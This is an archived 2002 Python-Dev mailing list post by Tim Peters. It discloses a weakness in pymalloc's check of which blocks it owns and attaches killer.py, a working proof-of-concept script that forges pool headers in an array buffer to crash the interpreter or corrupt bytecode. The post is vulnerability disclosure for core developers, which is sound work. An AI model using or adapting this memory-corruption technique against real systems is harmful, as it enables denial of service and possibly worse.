[Python-Dev] pymalloc killer

Tim Peters tim_one@email.msn.com
Wed, 27 Mar 2002 20:20:57 -0500


This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C1D5CC.E75470C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Recall that pymalloc delegates requests for "not small" blocks to the system
malloc.  This means that when pymalloc's free() is called, it has to figure
out whether the address passed to it was one it allocated itself, or came
from the system malloc.  It uses 64 bits of magical info to determine this,
based in part on address calculation.  Vladimir claimed, and I agreed, that
the chance of making a mistake here was insignificant.

However, the question remained whether a hostile user could study the source
code to mount a successful attack.  Alas, it turns out that's easy.  The
attached was my first brute-force try at tricking pymalloc via pure Python
code, and should break it quickly (within a few seconds) on any 32-bit
little-endian box.  It usually dies with a memory fault.  I've also seen it
trigger a bogus "unhashable type" error, and most worrisome a "SystemError:
unknown opcode" error (showing it's possible to mutate bytecode via driving
pymalloc insane).  I ran this on Win98SE, and it seems it's also possible to
provoke pymalloc into convincing the OS that the computer's modem is
permanently busy (! of course a reboot fixed that).

Given that there are other ways to provoke Python into crashing (and some
much easier than this way), I don't know how seriously to take this.
Historically, I'm usually hugging the end of the "who cares?" scale (I'm not
sure I've ever seen a system I couldn't crash with a little effort -- and I
have no idea how to stop me, let alone someone who's really keen to do
damage).

Please fight amongst yourselves <wink>.

------=_NextPart_000_0007_01C1D5CC.E75470C0
Content-Type: text/plain;
	name="killer.py"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="killer.py"

import array
import random
import thread
import time

PAGE = 4096
MAGIC = 0x74D3A651

POOLADDR_OFS = 16
MAGIC_OFS    = 20

def write4(a, ofs, value):
    # assuming little-endian is native
    for i in range(4):
        a[ofs + i] = chr(value & 0xff)
        value >>= 8

def corrupt(n):
    a = array.array('c', '\0' * n)
    assert a.itemsize == 1
    lo, numelements = a.buffer_info()
    assert n == numelements
    hi = lo + n

    pagealigned = lo & ~(PAGE - 1)
    if pagealigned < lo:
        pagealigned += PAGE
    assert pagealigned >= lo

    while pagealigned + MAGIC_OFS + 4 <= hi:
        write4(a, pagealigned - lo + POOLADDR_OFS, pagealigned)
        write4(a, pagealigned - lo + MAGIC_OFS, MAGIC)
        pagealigned += PAGE
    
    return a

def f():
    x = []
    while 1:
        x.append(corrupt(random.randrange(200000)))
        if len(x) > 5:
            del x[random.randrange(len(x))]
            print '*' * 79
    
def g():
    import test.test_descr
    while 1:
        test.test_descr.test_main()

def main():
    thread.start_new_thread(f, ())
    g()

if __name__ == "__main__":
    main()

------=_NextPart_000_0007_01C1D5CC.E75470C0--